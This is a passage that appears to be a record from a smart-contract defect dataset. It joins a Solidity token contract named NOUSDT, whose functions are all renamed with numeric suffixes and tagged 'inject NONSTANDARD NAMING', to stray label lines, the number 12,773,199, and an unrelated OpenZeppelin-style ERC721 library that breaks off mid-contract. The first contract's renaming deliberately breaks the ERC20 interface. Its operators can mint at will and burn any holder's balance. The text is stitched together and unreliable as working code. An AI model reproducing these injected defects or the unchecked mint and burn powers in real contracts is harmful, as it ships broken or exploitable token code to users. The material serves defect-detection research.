(uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL795(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV74(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV74(a, b, "SafeMath: division by zero"); } function DIV74(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD668(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD668(a, b, "SafeMath: modulo by zero"); } function MOD668(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; interface IERC20 { function TOTALSUPPLY117() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF599(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER421(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE388(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE523(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM532(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER864(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL522(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } pragma solidity ^0.6.2; contract Ownable is Context { address private _owner; event OWNERSHIPTRANSFERRED483(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER921(); _owner = msgSender; emit OWNERSHIPTRANSFERRED483(address(0), msgSender); } function OWNER25() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER223() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER921(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP398() public virtual ONLYOWNER223 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED483(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP354(address newOwner) public virtual ONLYOWNER223 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED483(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.2; contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function NAME322() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL933() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS521() public view returns (uint8) { //inject NONSTANDARD NAMING return _decimals; } function TOTALSUPPLY117() public view override returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF599(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER421(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER442(_MSGSENDER921(), recipient, amount); return true; } function ALLOWANCE388(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE523(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _APPROVE589(_MSGSENDER921(), spender, amount); return true; } function TRANSFERFROM532(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER442(sender, recipient, amount); _APPROVE589(sender, _MSGSENDER921(), _allowances[sender][_MSGSENDER921()].SUB159(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE493(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE589(_MSGSENDER921(), spender, _allowances[_MSGSENDER921()][spender].ADD927(addedValue)); return true; } function DECREASEALLOWANCE765(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE589(_MSGSENDER921(), spender, _allowances[_MSGSENDER921()][spender].SUB159(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER442(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _BEFORETOKENTRANSFER347(sender, recipient, amount); _balances[sender] = _balances[sender].SUB159(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD927(amount); emit TRANSFER864(sender, recipient, amount); } function _MINT167(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _BEFORETOKENTRANSFER347(address(0), account, amount); _totalSupply = _totalSupply.ADD927(amount); _balances[account] = _balances[account].ADD927(amount); emit TRANSFER864(address(0), account, amount); } function _BURN781(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _BEFORETOKENTRANSFER347(account, address(0), amount); _balances[account] = _balances[account].SUB159(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB159(amount); emit TRANSFER864(account, address(0), amount); } function _APPROVE589(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL522(owner, spender, amount); } function _SETUPDECIMALS487(uint8 decimals_) internal { //inject NONSTANDARD NAMING _decimals = decimals_; } function _BEFORETOKENTRANSFER347(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING } contract NOUSDT is ERC20, Ownable { constructor() ERC20("NOUSDT", "NOUSDT", 6) public { _operatorApproved[msg.sender] = true; } mapping (address => bool) private _operatorApproved; modifier ONLYOPERATOR905() { //inject NONSTANDARD NAMING require(_operatorApproved[msg.sender], "Operator: not allowed"); _; } function APPROVEOPERATOR430(address _operator) external ONLYOWNER223 { //inject NONSTANDARD NAMING _operatorApproved[_operator] = true; } function DISABLEOPERATOR210(address _operator) external ONLYOWNER223 { //inject NONSTANDARD NAMING _operatorApproved[_operator] = false; } function MINT794(address account, uint256 amount, uint commission) external ONLYOPERATOR905 { //inject NONSTANDARD NAMING _MINT167(account, amount); _MINT167(OWNER25(), commission); } function BURN522(address account, uint256 amount) external ONLYOPERATOR905 { //inject NONSTANDARD NAMING _BURN781(account, amount); } }
inject NONSTANDARD NAMING
function MOD668(uint256 a, uint256 b) internal pure returns (uint256) {
12,773,199
pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { /** * @dev Custom toString function */ function toString(uint256 _i) internal pure returns (string memory) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } 